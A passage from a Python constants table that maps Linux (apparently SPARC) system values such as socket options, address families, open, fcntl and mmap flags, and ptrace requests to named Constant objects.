Constant('S_IXGRP',0o0010)\nS_IRWXO = Constant('S_IRWXO',0o0007)\nS_IROTH = Constant('S_IROTH',0o0004)\nS_IWOTH = Constant('S_IWOTH',0o0002)\nS_IXOTH = Constant('S_IXOTH',0o0001)\nS_IREAD = Constant('S_IREAD',0o0400)\nS_IWRITE = Constant('S_IWRITE',0o0200)\nS_IEXEC = Constant('S_IEXEC',0o0100)\n_SYS_UIO = Constant('_SYS_UIO',1)\nSOL_SOCKET = Constant('SOL_SOCKET',0xffff)\nSO_DEBUG = Constant('SO_DEBUG',0x0001)\nSO_PASSCRED = Constant('SO_PASSCRED',0x0002)\nSO_REUSEADDR = Constant('SO_REUSEADDR',0x0004)\nSO_KEEPALIVE = Constant('SO_KEEPALIVE',0x0008)\nSO_DONTROUTE = Constant('SO_DONTROUTE',0x0010)\nSO_BROADCAST = Constant('SO_BROADCAST',0x0020)\nSO_PEERCRED = Constant('SO_PEERCRED',0x0040)\nSO_LINGER = Constant('SO_LINGER',0x0080)\nSO_OOBINLINE = Constant('SO_OOBINLINE',0x0100)\nSO_REUSEPORT = Constant('SO_REUSEPORT',0x0200)\nSO_BSDCOMPAT = Constant('SO_BSDCOMPAT',0x0400)\nSO_RCVLOWAT = Constant('SO_RCVLOWAT',0x0800)\nSO_SNDLOWAT = Constant('SO_SNDLOWAT',0x1000)\nSO_RCVTIMEO = Constant('SO_RCVTIMEO',0x2000)\nSO_SNDTIMEO = Constant('SO_SNDTIMEO',0x4000)\nSO_ACCEPTCONN = Constant('SO_ACCEPTCONN',0x8000)\nSO_DONTLINGER = Constant('SO_DONTLINGER',(~0x0080))\nSO_SNDBUF = Constant('SO_SNDBUF',0x1001)\nSO_RCVBUF = Constant('SO_RCVBUF',0x1002)\nSO_SNDBUFFORCE = Constant('SO_SNDBUFFORCE',0x100a)\nSO_RCVBUFFORCE = Constant('SO_RCVBUFFORCE',0x100b)\nSO_ERROR = Constant('SO_ERROR',0x1007)\nSO_TYPE = Constant('SO_TYPE',0x1008)\nSO_ATTACH_FILTER = Constant('SO_ATTACH_FILTER',0x001a)\nSO_DETACH_FILTER = Constant('SO_DETACH_FILTER',0x001b)\nSO_GET_FILTER = Constant('SO_GET_FILTER',0x001a)\nSO_PEERNAME = Constant('SO_PEERNAME',0x001c)\nSO_TIMESTAMP = Constant('SO_TIMESTAMP',0x001d)\nSCM_TIMESTAMP = Constant('SCM_TIMESTAMP',0x001d)\nSO_PEERSEC = Constant('SO_PEERSEC',0x001e)\nSO_PASSSEC = Constant('SO_PASSSEC',0x001f)\nSO_TIMESTAMPNS = Constant('SO_TIMESTAMPNS',0x0021)\nSCM_TIMESTAMPNS = Constant('SCM_TIMESTAMPNS',0x0021)\nSO_MARK = Constant('SO_MARK',0x0022)\nSO_TIMESTAMPING = Constant('SO_TIMESTAMPING',0x0023)\nSCM_TIMESTAMPING = Constant('SCM_TIMESTAMPING',0x0023)\nSO_RXQ_OVFL = Constant('SO_RXQ_OVFL',0x0024)\nSO_WIFI_STATUS = Constant('SO_WIFI_STATUS',0x0025)\nSCM_WIFI_STATUS = Constant('SCM_WIFI_STATUS',0x0025)\nSO_PEEK_OFF = Constant('SO_PEEK_OFF',0x0026)\nSO_NOFCS = Constant('SO_NOFCS',0x0027)\nSO_LOCK_FILTER = Constant('SO_LOCK_FILTER',0x0028)\nSO_SELECT_ERR_QUEUE = Constant('SO_SELECT_ERR_QUEUE',0x0029)\nSO_BUSY_POLL = Constant('SO_BUSY_POLL',0x0030)\nSO_MAX_PACING_RATE = Constant('SO_MAX_PACING_RATE',0x0031)\nSO_BPF_EXTENSIONS = Constant('SO_BPF_EXTENSIONS',0x0032)\nSO_INCOMING_CPU = Constant('SO_INCOMING_CPU',0x0033)\nSO_ATTACH_BPF = Constant('SO_ATTACH_BPF',0x0034)\nSO_DETACH_BPF = Constant('SO_DETACH_BPF',0x001b)\nSO_ATTACH_REUSEPORT_CBPF = Constant('SO_ATTACH_REUSEPORT_CBPF',0x0035)\nSO_ATTACH_REUSEPORT_EBPF = Constant('SO_ATTACH_REUSEPORT_EBPF',0x0036)\nSO_CNX_ADVICE = Constant('SO_CNX_ADVICE',0x0037)\nSCM_TIMESTAMPING_OPT_STATS = Constant('SCM_TIMESTAMPING_OPT_STATS',0x0038)\nSO_MEMINFO = Constant('SO_MEMINFO',0x0039)\nSO_INCOMING_NAPI_ID = Constant('SO_INCOMING_NAPI_ID',0x003a)\nSO_COOKIE = Constant('SO_COOKIE',0x003b)\nSCM_TIMESTAMPING_PKTINFO = Constant('SCM_TIMESTAMPING_PKTINFO',0x003c)\nSO_PEERGROUPS = Constant('SO_PEERGROUPS',0x003d)\nSO_ZEROCOPY = Constant('SO_ZEROCOPY',0x003e)\nSO_SECURITY_AUTHENTICATION = Constant('SO_SECURITY_AUTHENTICATION',0x5001)\nSO_SECURITY_ENCRYPTION_TRANSPORT = Constant('SO_SECURITY_ENCRYPTION_TRANSPORT',0x5002)\nSO_SECURITY_ENCRYPTION_NETWORK = Constant('SO_SECURITY_ENCRYPTION_NETWORK',0x5004)\nSOCK_STREAM = Constant('SOCK_STREAM',1)\nSOCK_DGRAM = Constant('SOCK_DGRAM',2)\nSOCK_RAW = Constant('SOCK_RAW',3)\nSOCK_RDM = Constant('SOCK_RDM',4)\nSOCK_SEQPACKET = Constant('SOCK_SEQPACKET',5)\nSOCK_DCCP = Constant('SOCK_DCCP',6)\nSOCK_PACKET = Constant('SOCK_PACKET',10)\nUIO_FASTIOV = Constant('UIO_FASTIOV',8)\nUIO_MAXIOV = Constant('UIO_MAXIOV',1024)\nSCM_RIGHTS = Constant('SCM_RIGHTS',0x01)\nSCM_CREDENTIALS = Constant('SCM_CREDENTIALS',0x02)\nSCM_CONNECT = Constant('SCM_CONNECT',0x03)\nAF_UNSPEC = Constant('AF_UNSPEC',0)\nAF_UNIX = Constant('AF_UNIX',1)\nAF_LOCAL = Constant('AF_LOCAL',1)\nAF_INET = Constant('AF_INET',2)\nAF_AX25 = Constant('AF_AX25',3)\nAF_IPX = Constant('AF_IPX',4)\nAF_APPLETALK = Constant('AF_APPLETALK',5)\nAF_NETROM = Constant('AF_NETROM',6)\nAF_BRIDGE = Constant('AF_BRIDGE',7)\nAF_ATMPVC = Constant('AF_ATMPVC',8)\nAF_X25 = Constant('AF_X25',9)\nAF_INET6 = Constant('AF_INET6',10)\nAF_ROSE = Constant('AF_ROSE',11)\nAF_DECnet = Constant('AF_DECnet',12)\nAF_NETBEUI = Constant('AF_NETBEUI',13)\nAF_SECURITY = Constant('AF_SECURITY',14)\nAF_KEY = Constant('AF_KEY',15)\nAF_NETLINK = Constant('AF_NETLINK',16)\nAF_ROUTE = Constant('AF_ROUTE',16)\nAF_PACKET = Constant('AF_PACKET',17)\nAF_ASH = Constant('AF_ASH',18)\nAF_ECONET = Constant('AF_ECONET',19)\nAF_ATMSVC = Constant('AF_ATMSVC',20)\nAF_SNA = Constant('AF_SNA',22)\nAF_IRDA = Constant('AF_IRDA',23)\nAF_PPPOX = Constant('AF_PPPOX',24)\nAF_WANPIPE = Constant('AF_WANPIPE',25)\nAF_LLC = Constant('AF_LLC',26)\nAF_IB = Constant('AF_IB',27)\nAF_MPLS = Constant('AF_MPLS',28)\nAF_CAN = Constant('AF_CAN',29)\nAF_TIPC = Constant('AF_TIPC',30)\nAF_BLUETOOTH = Constant('AF_BLUETOOTH',31)\nAF_IUCV = Constant('AF_IUCV',32)\nAF_RXRPC = Constant('AF_RXRPC',33)\nAF_ISDN = Constant('AF_ISDN',34)\nAF_PHONET = Constant('AF_PHONET',35)\nAF_IEEE802154 = Constant('AF_IEEE802154',36)\nAF_CAIF = Constant('AF_CAIF',37)\nAF_ALG = Constant('AF_ALG',38)\nAF_NFC = Constant('AF_NFC',39)\nAF_VSOCK = Constant('AF_VSOCK',40)\nAF_KCM = Constant('AF_KCM',41)\nAF_QIPCRTR = Constant('AF_QIPCRTR',42)\nAF_SMC = Constant('AF_SMC',43)\nAF_MAX = Constant('AF_MAX',44)\nPF_UNSPEC = Constant('PF_UNSPEC',0)\nPF_UNIX = Constant('PF_UNIX',1)\nPF_LOCAL = Constant('PF_LOCAL',1)\nPF_INET = Constant('PF_INET',2)\nPF_AX25 = Constant('PF_AX25',3)\nPF_IPX = Constant('PF_IPX',4)\nPF_APPLETALK = Constant('PF_APPLETALK',5)\nPF_NETROM = Constant('PF_NETROM',6)\nPF_BRIDGE = Constant('PF_BRIDGE',7)\nPF_ATMPVC = Constant('PF_ATMPVC',8)\nPF_X25 = Constant('PF_X25',9)\nPF_INET6 = Constant('PF_INET6',10)\nPF_ROSE = Constant('PF_ROSE',11)\nPF_DECnet = Constant('PF_DECnet',12)\nPF_NETBEUI = Constant('PF_NETBEUI',13)\nPF_SECURITY = Constant('PF_SECURITY',14)\nPF_KEY = Constant('PF_KEY',15)\nPF_NETLINK = Constant('PF_NETLINK',16)\nPF_ROUTE = Constant('PF_ROUTE',16)\nPF_PACKET = Constant('PF_PACKET',17)\nPF_ASH = Constant('PF_ASH',18)\nPF_ECONET = Constant('PF_ECONET',19)\nPF_ATMSVC = Constant('PF_ATMSVC',20)\nPF_SNA = Constant('PF_SNA',22)\nPF_IRDA = Constant('PF_IRDA',23)\nPF_PPPOX = Constant('PF_PPPOX',24)\nPF_WANPIPE = Constant('PF_WANPIPE',25)\nPF_LLC = Constant('PF_LLC',26)\nPF_IB = Constant('PF_IB',27)\nPF_MPLS = Constant('PF_MPLS',28)\nPF_CAN = Constant('PF_CAN',29)\nPF_TIPC = Constant('PF_TIPC',30)\nPF_BLUETOOTH = Constant('PF_BLUETOOTH',31)\nPF_IUCV = Constant('PF_IUCV',32)\nPF_RXRPC = Constant('PF_RXRPC',33)\nPF_ISDN = Constant('PF_ISDN',34)\nPF_PHONET = Constant('PF_PHONET',35)\nPF_IEEE802154 = Constant('PF_IEEE802154',36)\nPF_CAIF = Constant('PF_CAIF',37)\nPF_ALG = Constant('PF_ALG',38)\nPF_NFC = Constant('PF_NFC',39)\nPF_VSOCK = Constant('PF_VSOCK',40)\nPF_KCM = Constant('PF_KCM',41)\nPF_QIPCRTR = Constant('PF_QIPCRTR',42)\nPF_SMC = Constant('PF_SMC',43)\nPF_MAX = Constant('PF_MAX',44)\nSOMAXCONN = Constant('SOMAXCONN',128)\nMSG_OOB = Constant('MSG_OOB',1)\nMSG_PEEK = Constant('MSG_PEEK',2)\nMSG_DONTROUTE = Constant('MSG_DONTROUTE',4)\nMSG_TRYHARD = Constant('MSG_TRYHARD',4)\nMSG_CTRUNC = Constant('MSG_CTRUNC',8)\nMSG_PROBE = Constant('MSG_PROBE',0x10)\nMSG_TRUNC = Constant('MSG_TRUNC',0x20)\nMSG_DONTWAIT = Constant('MSG_DONTWAIT',0x40)\nMSG_EOR = Constant('MSG_EOR',0x80)\nMSG_WAITALL = Constant('MSG_WAITALL',0x100)\nMSG_FIN = Constant('MSG_FIN',0x200)\nMSG_SYN = Constant('MSG_SYN',0x400)\nMSG_CONFIRM = Constant('MSG_CONFIRM',0x800)\nMSG_RST = Constant('MSG_RST',0x1000)\nMSG_ERRQUEUE = Constant('MSG_ERRQUEUE',0x2000)\nMSG_NOSIGNAL = Constant('MSG_NOSIGNAL',0x4000)\nMSG_MORE = Constant('MSG_MORE',0x8000)\nMSG_WAITFORONE = Constant('MSG_WAITFORONE',0x10000)\nMSG_SENDPAGE_NOTLAST = Constant('MSG_SENDPAGE_NOTLAST',0x20000)\nMSG_BATCH = Constant('MSG_BATCH',0x40000)\nMSG_EOF = Constant('MSG_EOF',0x200)\nMSG_ZEROCOPY = Constant('MSG_ZEROCOPY',0x4000000)\nMSG_FASTOPEN = Constant('MSG_FASTOPEN',0x20000000)\nMSG_CMSG_CLOEXEC = Constant('MSG_CMSG_CLOEXEC',0x40000000)\nSOL_IP = Constant('SOL_IP',0)\nSOL_TCP = Constant('SOL_TCP',6)\nSOL_UDP = Constant('SOL_UDP',17)\nSOL_IPV6 = Constant('SOL_IPV6',41)\nSOL_ICMPV6 = Constant('SOL_ICMPV6',58)\nSOL_SCTP = Constant('SOL_SCTP',132)\nSOL_UDPLITE = Constant('SOL_UDPLITE',136)\nSOL_RAW = Constant('SOL_RAW',255)\nSOL_IPX = Constant('SOL_IPX',256)\nSOL_AX25 = Constant('SOL_AX25',257)\nSOL_ATALK = Constant('SOL_ATALK',258)\nSOL_NETROM = Constant('SOL_NETROM',259)\nSOL_ROSE = Constant('SOL_ROSE',260)\nSOL_DECNET = Constant('SOL_DECNET',261)\nSOL_X25 = Constant('SOL_X25',262)\nSOL_PACKET = Constant('SOL_PACKET',263)\nSOL_ATM = Constant('SOL_ATM',264)\nSOL_AAL = Constant('SOL_AAL',265)\nSOL_IRDA = Constant('SOL_IRDA',266)\nSOL_NETBEUI = Constant('SOL_NETBEUI',267)\nSOL_LLC = Constant('SOL_LLC',268)\nSOL_DCCP = Constant('SOL_DCCP',269)\nSOL_NETLINK = Constant('SOL_NETLINK',270)\nSOL_TIPC = Constant('SOL_TIPC',271)\nSOL_RXRPC = Constant('SOL_RXRPC',272)\nSOL_PPPOL2TP = Constant('SOL_PPPOL2TP',273)\nSOL_BLUETOOTH = Constant('SOL_BLUETOOTH',274)\nSOL_PNPIPE = Constant('SOL_PNPIPE',275)\nSOL_RDS = Constant('SOL_RDS',276)\nSOL_IUCV = Constant('SOL_IUCV',277)\nSOL_CAIF = Constant('SOL_CAIF',278)\nSOL_ALG = Constant('SOL_ALG',279)\nSOL_NFC = Constant('SOL_NFC',280)\nSOL_KCM = Constant('SOL_KCM',281)\nSOL_TLS = Constant('SOL_TLS',282)\nIPX_TYPE = Constant('IPX_TYPE',1)\nSHUT_RD = Constant('SHUT_RD',0)\nSHUT_WR = Constant('SHUT_WR',1)\nSHUT_RDWR = Constant('SHUT_RDWR',2)\nNI_NOFQDN = Constant('NI_NOFQDN',1)\nNI_NUMERICHOST = Constant('NI_NUMERICHOST',2)\nNI_NAMEREQD = Constant('NI_NAMEREQD',4)\nNI_NUMERICSERV = Constant('NI_NUMERICSERV',8)\nNI_DGRAM = Constant('NI_DGRAM',16)\nEAI_FAMILY = Constant('EAI_FAMILY',-1)\nEAI_SOCKTYPE = Constant('EAI_SOCKTYPE',-2)\nEAI_BADFLAGS = Constant('EAI_BADFLAGS',-3)\nEAI_NONAME = Constant('EAI_NONAME',-4)\nEAI_SERVICE = Constant('EAI_SERVICE',-5)\nEAI_ADDRFAMILY = Constant('EAI_ADDRFAMILY',-6)\nEAI_NODATA = Constant('EAI_NODATA',-7)\nEAI_MEMORY = Constant('EAI_MEMORY',-8)\nEAI_FAIL = Constant('EAI_FAIL',-9)\nEAI_AGAIN = Constant('EAI_AGAIN',-10)\nEAI_SYSTEM = Constant('EAI_SYSTEM',-11)\nAI_NUMERICHOST = Constant('AI_NUMERICHOST',1)\nAI_CANONNAME = Constant('AI_CANONNAME',2)\nAI_PASSIVE = Constant('AI_PASSIVE',4)\nAI_NUMERICSERV = Constant('AI_NUMERICSERV',8)\nAI_ADDRCONFIG = Constant('AI_ADDRCONFIG',16)\nAI_V4MAPPED = Constant('AI_V4MAPPED',32)\nAI_ALL = Constant('AI_ALL',64)\nSIOCADDRT = Constant('SIOCADDRT',0x890B)\nSIOCDELRT = Constant('SIOCDELRT',0x890C)\nSIOCRTMSG = Constant('SIOCRTMSG',0x890D)\nSIOCGIFNAME = Constant('SIOCGIFNAME',0x8910)\nSIOCSIFLINK = Constant('SIOCSIFLINK',0x8911)\nSIOCGIFCONF = Constant('SIOCGIFCONF',0x8912)\nSIOCGIFFLAGS = Constant('SIOCGIFFLAGS',0x8913)\nSIOCSIFFLAGS = Constant('SIOCSIFFLAGS',0x8914)\nSIOCGIFADDR = Constant('SIOCGIFADDR',0x8915)\nSIOCSIFADDR = Constant('SIOCSIFADDR',0x8916)\nSIOCGIFDSTADDR = Constant('SIOCGIFDSTADDR',0x8917)\nSIOCSIFDSTADDR = Constant('SIOCSIFDSTADDR',0x8918)\nSIOCGIFBRDADDR = Constant('SIOCGIFBRDADDR',0x8919)\nSIOCSIFBRDADDR = Constant('SIOCSIFBRDADDR',0x891a)\nSIOCGIFNETMASK = Constant('SIOCGIFNETMASK',0x891b)\nSIOCSIFNETMASK = Constant('SIOCSIFNETMASK',0x891c)\nSIOCGIFMETRIC = Constant('SIOCGIFMETRIC',0x891d)\nSIOCSIFMETRIC = Constant('SIOCSIFMETRIC',0x891e)\nSIOCGIFMEM = Constant('SIOCGIFMEM',0x891f)\nSIOCSIFMEM = Constant('SIOCSIFMEM',0x8920)\nSIOCGIFMTU = Constant('SIOCGIFMTU',0x8921)\nSIOCSIFMTU = Constant('SIOCSIFMTU',0x8922)\nSIOCSIFNAME = Constant('SIOCSIFNAME',0x8923)\nSIOCSIFHWADDR = Constant('SIOCSIFHWADDR',0x8924)\nSIOCGIFENCAP = Constant('SIOCGIFENCAP',0x8925)\nSIOCSIFENCAP = Constant('SIOCSIFENCAP',0x8926)\nSIOCGIFHWADDR = Constant('SIOCGIFHWADDR',0x8927)\nSIOCGIFSLAVE = Constant('SIOCGIFSLAVE',0x8929)\nSIOCSIFSLAVE = Constant('SIOCSIFSLAVE',0x8930)\nSIOCADDMULTI = Constant('SIOCADDMULTI',0x8931)\nSIOCDELMULTI = Constant('SIOCDELMULTI',0x8932)\nSIOCGIFINDEX = Constant('SIOCGIFINDEX',0x8933)\nSIOGIFINDEX = Constant('SIOGIFINDEX',0x8933)\nSIOCSIFPFLAGS = Constant('SIOCSIFPFLAGS',0x8934)\nSIOCGIFPFLAGS = Constant('SIOCGIFPFLAGS',0x8935)\nSIOCDIFADDR = Constant('SIOCDIFADDR',0x8936)\nSIOCSIFHWBROADCAST = Constant('SIOCSIFHWBROADCAST',0x8937)\nSIOCGIFCOUNT = Constant('SIOCGIFCOUNT',0x8938)\nSIOCGIFBR = Constant('SIOCGIFBR',0x8940)\nSIOCSIFBR = Constant('SIOCSIFBR',0x8941)\nSIOCGIFTXQLEN = Constant('SIOCGIFTXQLEN',0x8942)\nSIOCSIFTXQLEN = Constant('SIOCSIFTXQLEN',0x8943)\nSIOCGIFDIVERT = Constant('SIOCGIFDIVERT',0x8944)\nSIOCSIFDIVERT = Constant('SIOCSIFDIVERT',0x8945)\nSIOCETHTOOL = Constant('SIOCETHTOOL',0x8946)\nSIOCDARP = Constant('SIOCDARP',0x8953)\nSIOCGARP = Constant('SIOCGARP',0x8954)\nSIOCSARP = Constant('SIOCSARP',0x8955)\nSIOCDRARP = Constant('SIOCDRARP',0x8960)\nSIOCGRARP = Constant('SIOCGRARP',0x8961)\nSIOCSRARP = Constant('SIOCSRARP',0x8962)\nSIOCGIFMAP = Constant('SIOCGIFMAP',0x8970)\nSIOCSIFMAP = Constant('SIOCSIFMAP',0x8971)\nSIOCADDDLCI = Constant('SIOCADDDLCI',0x8980)\nSIOCDELDLCI = Constant('SIOCDELDLCI',0x8981)\nSIOCDEVPRIVATE = Constant('SIOCDEVPRIVATE',0x89F0)\nF_LINUX_SPECIFIC_BASE = Constant('F_LINUX_SPECIFIC_BASE',1024)\nO_RDONLY = Constant('O_RDONLY',0x0000)\nO_WRONLY = Constant('O_WRONLY',0x0001)\nO_RDWR = Constant('O_RDWR',0x0002)\nO_ACCMODE = Constant('O_ACCMODE',0x0003)\nO_APPEND = Constant('O_APPEND',0x0008)\nFASYNC = Constant('FASYNC',0x0040)\nO_CREAT = Constant('O_CREAT',0x0200)\nO_TRUNC = Constant('O_TRUNC',0x0400)\nO_EXCL = Constant('O_EXCL',0x0800)\nO_DSYNC = Constant('O_DSYNC',0x2000)\nO_NONBLOCK = Constant('O_NONBLOCK',0x4000)\nO_NDELAY = Constant('O_NDELAY',(0x0004 | 0x4000))\nO_NOCTTY = Constant('O_NOCTTY',0x8000)\nO_DIRECTORY = Constant('O_DIRECTORY',0x10000)\nO_NOFOLLOW = Constant('O_NOFOLLOW',0x20000)\nO_LARGEFILE = Constant('O_LARGEFILE',0x40000)\nO_DIRECT = Constant('O_DIRECT',0x100000)\nO_NOATIME = Constant('O_NOATIME',0x200000)\nO_CLOEXEC = Constant('O_CLOEXEC',0x400000)\nO_SYNC = Constant('O_SYNC',(0x800000|0x2000))\nO_PATH = Constant('O_PATH',0x1000000)\n__O_TMPFILE = Constant('__O_TMPFILE',0x2000000)\nF_DUPFD = Constant('F_DUPFD',0)\nF_GETFD = Constant('F_GETFD',1)\nF_SETFD = Constant('F_SETFD',2)\nF_GETFL = Constant('F_GETFL',3)\nF_SETFL = Constant('F_SETFL',4)\nF_GETOWN = Constant('F_GETOWN',5)\nF_SETOWN = Constant('F_SETOWN',6)\nF_GETLK = Constant('F_GETLK',7)\nF_SETLK = Constant('F_SETLK',8)\nF_SETLKW = Constant('F_SETLKW',9)\nF_SETSIG = Constant('F_SETSIG',10)\nF_GETSIG = Constant('F_GETSIG',11)\nF_GETLK64 = Constant('F_GETLK64',12)\nF_SETLK64 = Constant('F_SETLK64',13)\nF_SETLKW64 = Constant('F_SETLKW64',14)\nFD_CLOEXEC = Constant('FD_CLOEXEC',1)\nF_RDLCK = Constant('F_RDLCK',1)\nF_WRLCK = Constant('F_WRLCK',2)\nF_UNLCK = Constant('F_UNLCK',3)\nF_EXLCK = Constant('F_EXLCK',4)\nF_SHLCK = Constant('F_SHLCK',8)\nF_INPROGRESS = Constant('F_INPROGRESS',16)\nLOCK_SH = Constant('LOCK_SH',1)\nLOCK_EX = Constant('LOCK_EX',2)\nLOCK_NB = Constant('LOCK_NB',4)\nLOCK_UN = Constant('LOCK_UN',8)\nLOCK_MAND = Constant('LOCK_MAND',32)\nLOCK_READ = Constant('LOCK_READ',64)\nLOCK_WRITE = Constant('LOCK_WRITE',128)\nLOCK_RW = Constant('LOCK_RW',192)\nO_TMPFILE = Constant('O_TMPFILE',(0x2000000 | 0x10000))\nO_ASYNC = Constant('O_ASYNC',0x0040)\nF_SETOWN_EX = Constant('F_SETOWN_EX',15)\nF_GETOWN_EX = Constant('F_GETOWN_EX',16)\nF_GETOWNER_UIDS = Constant('F_GETOWNER_UIDS',17)\nF_OFD_GETLK = Constant('F_OFD_GETLK',36)\nF_OFD_SETLK = Constant('F_OFD_SETLK',37)\nF_OFD_SETLKW = Constant('F_OFD_SETLKW',38)\nF_OWNER_TID = Constant('F_OWNER_TID',0)\nF_OWNER_PID = Constant('F_OWNER_PID',1)\nF_OWNER_PGRP = Constant('F_OWNER_PGRP',2)\nAT_FDCWD = Constant('AT_FDCWD',-100)\nAT_SYMLINK_NOFOLLOW = Constant('AT_SYMLINK_NOFOLLOW',0x100)\nAT_REMOVEDIR = Constant('AT_REMOVEDIR',0x200)\nAT_SYMLINK_FOLLOW = Constant('AT_SYMLINK_FOLLOW',0x400)\nAT_NO_AUTOMOUNT = Constant('AT_NO_AUTOMOUNT',0x800)\nAT_EMPTY_PATH = Constant('AT_EMPTY_PATH',0x1000)\nAT_EACCESS = Constant('AT_EACCESS',0x200)\nMREMAP_MAYMOVE = Constant('MREMAP_MAYMOVE',1)\nMREMAP_FIXED = Constant('MREMAP_FIXED',2)\nPROT_READ = Constant('PROT_READ',0x1)\nPROT_WRITE = Constant('PROT_WRITE',0x2)\nPROT_EXEC = Constant('PROT_EXEC',0x4)\nPROT_SEM = Constant('PROT_SEM',0x8)\nPROT_NONE = Constant('PROT_NONE',0x0)\nPROT_GROWSDOWN = Constant('PROT_GROWSDOWN',0x01000000)\nPROT_GROWSUP = Constant('PROT_GROWSUP',0x02000000)\nMAP_SHARED = Constant('MAP_SHARED',0x01)\nMAP_PRIVATE = Constant('MAP_PRIVATE',0x02)\nMAP_TYPE = Constant('MAP_TYPE',0xf)\nMADV_REMOVE = Constant('MADV_REMOVE',9)\nMADV_DONTFORK = Constant('MADV_DONTFORK',10)\nMADV_DOFORK = Constant('MADV_DOFORK',11)\nMADV_MERGEABLE = Constant('MADV_MERGEABLE',12)\nMADV_UNMERGEABLE = Constant('MADV_UNMERGEABLE',13)\nMADV_HUGEPAGE = Constant('MADV_HUGEPAGE',14)\nMADV_NOHUGEPAGE = Constant('MADV_NOHUGEPAGE',15)\nMADV_DONTDUMP = Constant('MADV_DONTDUMP',16)\nMADV_DODUMP = Constant('MADV_DODUMP',17)\nMADV_HWPOISON = Constant('MADV_HWPOISON',100)\nMADV_SOFT_OFFLINE = Constant('MADV_SOFT_OFFLINE',101)\nMLOCK_ONFAULT = Constant('MLOCK_ONFAULT',1)\nMAP_FIXED = Constant('MAP_FIXED',0x10)\nMAP_ANONYMOUS = Constant('MAP_ANONYMOUS',0x20)\nMAP_RENAME = Constant('MAP_RENAME',0x20)\nMAP_NORESERVE = Constant('MAP_NORESERVE',0x40)\nMAP_INHERIT = Constant('MAP_INHERIT',0x80)\nMAP_LOCKED = Constant('MAP_LOCKED',0x100)\n_MAP_NEW = Constant('_MAP_NEW',0x80000000)\nMAP_GROWSDOWN = Constant('MAP_GROWSDOWN',0x0100)\nMAP_DENYWRITE = Constant('MAP_DENYWRITE',0x0800)\nMAP_EXECUTABLE = Constant('MAP_EXECUTABLE',0x1000)\nMAP_POPULATE = Constant('MAP_POPULATE',0x8000)\nMAP_NONBLOCK = Constant('MAP_NONBLOCK',0x10000)\nMAP_STACK = Constant('MAP_STACK',0x20000)\nMAP_HUGETLB = Constant('MAP_HUGETLB',0x40000)\nMS_ASYNC = Constant('MS_ASYNC',1)\nMS_INVALIDATE = Constant('MS_INVALIDATE',2)\nMS_SYNC = Constant('MS_SYNC',4)\nMCL_CURRENT = Constant('MCL_CURRENT',0x2000)\nMCL_FUTURE = Constant('MCL_FUTURE',0x4000)\nMCL_ONFAULT = Constant('MCL_ONFAULT',0x8000)\nMADV_NORMAL = Constant('MADV_NORMAL',0x0)\nMADV_RANDOM = Constant('MADV_RANDOM',0x1)\nMADV_SEQUENTIAL = Constant('MADV_SEQUENTIAL',0x2)\nMADV_WILLNEED = Constant('MADV_WILLNEED',0x3)\nMADV_DONTNEED = Constant('MADV_DONTNEED',0x4)\nMADV_FREE = Constant('MADV_FREE',0x5)\nMAP_ANON = Constant('MAP_ANON',0x20)\nMAP_FILE = Constant('MAP_FILE',0)\nPOSIX_MADV_NORMAL = Constant('POSIX_MADV_NORMAL',0x0)\nPOSIX_MADV_SEQUENTIAL = Constant('POSIX_MADV_SEQUENTIAL',0x2)\nPOSIX_MADV_RANDOM = Constant('POSIX_MADV_RANDOM',0x1)\nPOSIX_MADV_WILLNEED = Constant('POSIX_MADV_WILLNEED',0x3)\nPOSIX_MADV_DONTNEED = Constant('POSIX_MADV_DONTNEED',0x4)\nPTRACE_TRACEME = Constant('PTRACE_TRACEME',0)\nPTRACE_PEEKTEXT = Constant('PTRACE_PEEKTEXT',1)\nPTRACE_PEEKDATA = Constant('PTRACE_PEEKDATA',2)\nPTRACE_PEEKUSR = Constant('PTRACE_PEEKUSR',3)\nPTRACE_PEEKUSER = Constant('PTRACE_PEEKUSER',3)\nPTRACE_POKETEXT = Constant('PTRACE_POKETEXT',4)\nPTRACE_POKEDATA = Constant('PTRACE_POKEDATA',5)\nPTRACE_POKEUSR = Constant('PTRACE_POKEUSR',6)\nPTRACE_POKEUSER = Constant('PTRACE_POKEUSER',6)\nPTRACE_CONT = Constant('PTRACE_CONT',7)\nPTRACE_KILL = Constant('PTRACE_KILL',8)\nPTRACE_SINGLESTEP = Constant('PTRACE_SINGLESTEP',9)\nPTRACE_ATTACH = Constant('PTRACE_ATTACH',0x10)\nPTRACE_DETACH = Constant('PTRACE_DETACH',0x11)\nPTRACE_SYSCALL = Constant('PTRACE_SYSCALL',24)\nPTRACE_GETEVENTMSG = Constant('PTRACE_GETEVENTMSG',0x4201)\nPTRACE_GETSIGINFO = Constant('PTRACE_GETSIGINFO',0x4202)\nPTRACE_SETSIGINFO = Constant('PTRACE_SETSIGINFO',0x4203)\nPTRACE_O_TRACESYSGOOD = Constant('PTRACE_O_TRACESYSGOOD',0x00000001)\nPTRACE_O_TRACEFORK = Constant('PTRACE_O_TRACEFORK',0x00000002)\nPTRACE_O_TRACEVFORK = Constant('PTRACE_O_TRACEVFORK',0x00000004)\nPTRACE_O_TRACECLONE = Constant('PTRACE_O_TRACECLONE',0x00000008)\nPTRACE_O_TRACEEXEC = Constant('PTRACE_O_TRACEEXEC',0x00000010)\nPTRACE_O_TRACEVFORKDONE = Constant('PTRACE_O_TRACEVFORKDONE',0x00000020)\nPTRACE_O_TRACEEXIT = Constant('PTRACE_O_TRACEEXIT',0x00000040)\nPTRACE_O_MASK = Constant('PTRACE_O_MASK',0x0000007f)\nPTRACE_EVENT_FORK = Constant('PTRACE_EVENT_FORK',1)\nPTRACE_EVENT_VFORK = Constant('PTRACE_EVENT_VFORK',2)\nPTRACE_EVENT_CLONE = Constant('PTRACE_EVENT_CLONE',3)\nPTRACE_EVENT_EXEC = Constant('PTRACE_EVENT_EXEC',4)\nPTRACE_EVENT_VFORK_DONE = Constant('PTRACE_EVENT_VFORK_DONE',5)\nPTRACE_EVENT_EXIT = Constant('PTRACE_EVENT_EXIT',6)\nPT_TRACE_ME = Constant('PT_TRACE_ME',0)\nPT_READ_I = Constant('PT_READ_I',1)\nPT_READ_D = Constant('PT_READ_D',2)\nPT_READ_U = Constant('PT_READ_U',3)\nPT_WRITE_I = Constant('PT_WRITE_I',4)\nPT_WRITE_D = Constant('PT_WRITE_D',5)\nPT_WRITE_U = Constant('PT_WRITE_U',6)\nPT_CONTINUE = Constant('PT_CONTINUE',7)\nPT_KILL = Constant('PT_KILL',8)\nPT_STEP = Constant('PT_STEP',9)\nPT_ATTACH = Constant('PT_ATTACH',0x10)\nPT_DETACH = Constant('PT_DETACH',0x11)\nUREG_G0 = 